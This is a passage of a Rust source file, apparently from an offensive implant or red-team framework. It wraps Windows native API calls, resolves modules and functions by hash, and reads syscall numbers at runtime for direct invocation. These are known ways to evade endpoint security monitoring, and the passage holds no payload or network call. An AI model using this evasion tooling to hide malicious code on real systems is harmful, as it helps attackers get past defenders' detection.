*mut c_void, 314 | apc_routine: *mut c_void, 315 | apc_context: *mut c_void, 316 | io_status_block: &mut IoStatusBlock, 317 | buffer: *mut c_void, 318 | length: c_ulong, 319 | byte_offset: *mut u64, 320 | key: *mut c_ulong, 321 | ) -> i32 { 322 | run_syscall!( 323 | self.syscall.number, 324 | self.syscall.address as usize, 325 | file_handle, 326 | event, 327 | apc_routine, 328 | apc_context, 329 | io_status_block, 330 | buffer, 331 | length, 332 | byte_offset, 333 | key 334 | ) 335 | } 336 | } 337 | 338 | pub struct NtQueryInformationProcess { 339 | pub syscall: NtSyscall, 340 | } 341 | 342 | unsafe impl Sync for NtQueryInformationProcess {} 343 | 344 | impl NtQueryInformationProcess { 345 | pub const fn new() -> Self { 346 | Self { 347 | syscall: NtSyscall::new(0x8cdc5dc2), 348 | } 349 | } 350 | 351 | /// Wrapper for the NtQueryInformationProcess 352 | /// 353 | /// # Safety 354 | /// 355 | /// This function is unsafe because it dereferences the `process_handle`, `process_information`, 356 | /// and `return_length` pointers. 357 | /// 358 | /// The caller must ensure that the pointers are valid and that the memory they point to is 359 | /// valid and has the correct size. 360 | /// 361 | /// # Arguments 362 | /// 363 | /// * `[in]` - `process_handle` A handle to the process. 364 | /// * `[in]` - `process_information_class` The class of information to be queried. 365 | /// * `[out]` - `process_information` A pointer to a buffer that receives the requested 366 | /// information. 367 | /// * `[in]` - `process_information_length` The size, in bytes, of the buffer pointed to by the 368 | /// `process_information` parameter. 369 | /// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, 370 | /// of the data returned. 371 | /// 372 | /// # Returns 373 | /// 374 | /// * `i32` - The NTSTATUS code of the operation. 375 | pub unsafe fn run( 376 | &self, 377 | process_handle: *mut c_void, 378 | process_information_class: u32, 379 | process_information: *mut c_void, 380 | process_information_length: u32, 381 | return_length: *mut u32, 382 | ) -> i32 { 383 | run_syscall!( 384 | self.syscall.number, 385 | self.syscall.address as usize, 386 | process_handle, 387 | process_information_class, 388 | process_information, 389 | process_information_length, 390 | return_length 391 | ) 392 | } 393 | } 394 | 395 | /// Type definition for the LdrLoadDll function. 396 | /// 397 | /// Loads a DLL into the address space of the calling process. 398 | /// 399 | /// # Parameters 400 | /// - `[in, opt]` - `DllPath`: A pointer to a `UNICODE_STRING` that specifies the fully qualified path of the DLL to load. This can be `NULL`, in which case the system searches for the DLL. 401 | /// - `[in, opt]` - `DllCharacteristics`: A pointer to a variable that specifies the DLL characteristics (optional, can be `NULL`). 402 | /// - `[in]` - `DllName`: A `UNICODE_STRING` that specifies the name of the DLL to load. 403 | /// - `[out]` - `DllHandle`: A pointer to a variable that receives the handle to the loaded DLL. 404 | /// 405 | /// # Returns 406 | /// - `i32` - The NTSTATUS code of the operation. 407 | type LdrLoadDll = unsafe extern "system" fn( 408 | DllPath: *mut u16, 409 | DllCharacteristics: *mut u32, 410 | DllName: UnicodeString, 411 | DllHandle: *mut c_void, 412 | ) -> i32; 413 | 414 | pub struct NtDll { 415 | pub module_base: *mut u8, 416 | pub ldr_load_dll: LdrLoadDll, 417 | pub nt_allocate_virtual_memory: NtAllocateVirtualMemory, 418 | pub nt_free_virtual_memory: NtFreeVirtualMemory, 419 | pub nt_close: NtClose, 420 | pub nt_create_named_pipe: NtCreateNamedPipeFile, 421 | pub nt_open_file: NtOpenFile, 422 | pub nt_write_file: NtWriteFile, 423 | pub nt_read_file: NtReadFile, 424 | pub nt_query_information_process: NtQueryInformationProcess, 425 | } 426 | 427 | impl NtDll { 428 | pub fn new() -> Self { 429 | NtDll { 430 | module_base: null_mut(), 431 | ldr_load_dll: unsafe { core::mem::transmute(null_mut::()) }, 432 | nt_allocate_virtual_memory: NtAllocateVirtualMemory::new(), 433 | nt_free_virtual_memory: NtFreeVirtualMemory::new(), 434 | nt_close: NtClose::new(), 435 | nt_create_named_pipe: NtCreateNamedPipeFile::new(), 436 | nt_open_file: NtOpenFile::new(), 437 | nt_write_file: NtWriteFile::new(), 438 | nt_read_file: NtReadFile::new(), 439 | nt_query_information_process: NtQueryInformationProcess::new(), 440 | } 441 | } 442 | } 443 | 444 | pub fn init_ntdll_funcs() { 445 | unsafe { 446 | const NTDLL_HASH: u32 = 0x1edab0ed; 447 | const KERNEL32_HASH: u32 = 0x6ddb9555; 448 | const LDR_LOAD_DLL_H: usize = 0x9e456a43; 449 | 450 | let instance = get_instance().unwrap(); 451 | 452 | instance.k32.module_base = ldr_module(KERNEL32_HASH); 453 | instance.ntdll.module_base = ldr_module(NTDLL_HASH); 454 | 455 | // NtAllocateVirtualMemory 456 | instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function( 457 | instance.ntdll.module_base, 458 | instance.ntdll.nt_allocate_virtual_memory.syscall.hash, 459 | ); 460 | instance.ntdll.nt_allocate_virtual_memory.syscall.number = 461 | get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address); 462 | 463 | // NtFreeVirtualMemory 464 | instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function( 465 | instance.ntdll.module_base, 466 | instance.ntdll.nt_free_virtual_memory.syscall.hash, 467 | ); 468 | instance.ntdll.nt_free_virtual_memory.syscall.number = 469 | get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address); 470 | 471 | // NtClose 472 | instance.ntdll.nt_close.syscall.address = ldr_function( 473 | instance.ntdll.module_base, 474 | instance.ntdll.nt_close.syscall.hash, 475 | ); 476 | instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address); 477 | 478 | // NtCreateNamedPipe 479 | instance.ntdll.nt_create_named_pipe.syscall.address = ldr_function( 480 | instance.ntdll.module_base, 481 | instance.ntdll.nt_create_named_pipe.syscall.hash, 482 | ); 483 | instance.ntdll.nt_create_named_pipe.syscall.number = 484 | get_ssn(instance.ntdll.nt_create_named_pipe.syscall.address); 485 | 486 | // NtOpenFile 487 | instance.ntdll.nt_open_file.syscall.address = ldr_function( 488 | instance.ntdll.module_base, 489 | instance.ntdll.nt_open_file.syscall.hash, 490 | ); 491 | instance.ntdll.nt_open_file.syscall.number = 492 | get_ssn(instance.ntdll.nt_open_file.syscall.address); 493 | 494 | // NtWriteFile 495 | instance.ntdll.nt_write_file.syscall.address = ldr_function( 496 | instance.ntdll.module_base, 497 | instance.ntdll.nt_write_file.syscall.hash, 498 | ); 499 | instance.ntdll.nt_write_file.syscall.number = 500 | get_ssn(instance.ntdll.nt_write_file.syscall.address); 501 | 502 | // NtReadFile 503 | instance.ntdll.nt_read_file.syscall.address = ldr_function( 504 | instance.ntdll.module_base, 505 | instance.ntdll.nt_read_file.syscall.hash, 506 | ); 507 | instance.ntdll.nt_read_file.syscall.number = 508 | get_ssn(instance.ntdll.nt_read_file.syscall.address); 509 | 510 | // NtQueryInformationProcess 511 | instance.ntdll.nt_query_information_process.syscall.address = ldr_function( 512 | instance.ntdll.module_base, 513 | instance.ntdll.nt_query_information_process.syscall.hash, 514 | ); 515 | instance.ntdll.nt_query_information_process.syscall.number = 516 | get_ssn(instance.ntdll.nt_query_information_process.syscall.address); 517 | 518 | // LdrLoadDll 519 | let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, LDR_LOAD_DLL_H); 520 | instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr); 521 | } 522 | } 523 | --------------------------------------------------------------------------------